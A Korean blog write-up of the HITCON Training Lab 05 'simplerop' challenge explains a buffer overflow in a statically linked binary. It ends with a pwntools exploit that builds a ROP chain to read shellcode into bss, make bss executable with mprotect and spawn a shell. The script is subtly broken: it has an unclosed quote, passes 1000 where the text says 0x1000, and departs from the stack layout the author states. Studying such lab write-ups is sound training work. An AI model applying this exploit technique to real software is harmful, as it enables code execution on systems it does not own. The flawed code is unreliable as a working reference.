Sqix

Hitcon Training - Lab 05 : Return Oriented Programming 본문

Wargame/HITCON Training

Hitcon Training - Lab 05 : Return Oriented Programming

Sqix_ow 2019. 9. 21. 00:07

 

simple rop 문제입니다.

 

문제를 풀 때 다른 문제처럼 system 함수를 이용해서 풀려고 해 봤으나, 되지 않아서 왜 그런지 고민해본 결과 statically linked 되어있기 때문에 system 함수를 libc에서 끌어와서 푸는 형식이 아니라, shellcode를 bss에 올린 후 bss에 실행 권한을 주어 쉘코드가 실행하도록 하여야 합니다.

 

이것만 빼면 무난하게 풀 수 있습니다.

 

일단 어셈으로 코드를 유추해 보면

 

main()

{

  char buf[20];

  puts("ROP is easy is'nt it ?");

  printf("Your input :");

  fflush(stdout);

  read(0, buf, 100);

  return ;

}

 

정도인 것 같습니다.

 

취약점은 read에서 버퍼가 20바이트인데 100바이트를 입력받을 수 있는 BOF 취약점을 이용해야 할 것 같습니다.

 

일단 이 문제를 풀기 전 알아야 할 함수가 있습니다. 바로 mprotect 함수입니다.

 

일반적으로 BOF 문제들은 system() 함수를 이용해서 쉘을 실행시키는 방식을 주로 사용하게 됩니다.

 

그렇지만, 이번 문제처럼 static-linked로 컴파일된 문제들 중 system() 함수를 이용하기 어려운 문제가 있습니다.

 

이럴 경우, NX-Bit가 걸려있더라도 이 함수로 쓰기 가능한 메모리 영역에 쉘코드를 올린 후 실행시킬 수 있습니다.

int mprotect(void *addr, size_t len, int prot);

함수의 원형은 위와 같습니다.

 

addr은 주소의 시작점이고 len은 길이이며 page 사이즈의 배수, prot는 권한 설정(rwx의 수 형태)입니다.

 

mprotect에 대해서 알아보았으니, 이제 다시 문제로 돌아가 보도록 하겠습니다.

Stage 1

먼저 어떻게 payload를 구성할 것인지 생각해 봅시다. Byte 길이제한은 널럴한 편이네요.

 

1. read(0, bss, len(shellcode)); 로 bss 영역에 쉘코드를 삽입합니다.

 

2. mprotect(bss, 0x1000, 7); 로 bss 영역에 실행 권한을 부여합니다.

 

이렇게 하고 read함수가 동작하면 여기에 shellcode를 삽입해 주면 되겠습니다.

 

우리가 여기서 구해야 할 것은 다음과 같습니다.

 

1. read 함수의 실제 주소

 

2. mprotect 함수의 실제 주소

3. bss 영역의 주소

0x1000 단위여야 하므로 0x80ec000

4. read의 인자가 3개이므로, pop - pop - pop - ret Gadget의 주소

5. 변수로부터 Return Address까지의 거리

이제 shellcode와 payload 구성을 해 보도록 합시다.

 

shellcode는 shell을 실행할 수 있도록 shellcraft.i386.linux.sh() 를 이용하겠습니다.

 

payload는 A를 32개 넣어 덮어 주고, shellcode를 넣을 수 있도록, 그리고 bss에 실행 권한을 줄 수 있도록 합시다.

 

스택 구성은 다음과 같습니다.

 

[A * 32] - [read] - [gadget] - [bss] - [len(shellcode)] - [mprotect] - [exit] - [bss] - [0x1000] - [7]

 

from pwn import *

context.log_level = 'debug'

p = process('./simplerop')

read_addr = 0x806cd50
mprotect_addr = 0x806d870
bss_addr = 0x80ec000
gadget_addr = 0x80b4a62
exit_addr = 0x804e700

shellcode = asm(shellcraft.i386.linux.sh(), arch='i386)

payload = ''

payload += 'A' * 32

payload += p32(read_addr)
payload += p32(gadget_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(len(shellcode))

payload += p32(mprotect_addr)
payload += p32(bss_addr)
payload += p32(bss_addr)
payload += p32(1000)
payload += p32(7)

p.recvuntil(':')
p.sendline(payload)
p.sendline(shellcode)

p.interactive()

Comments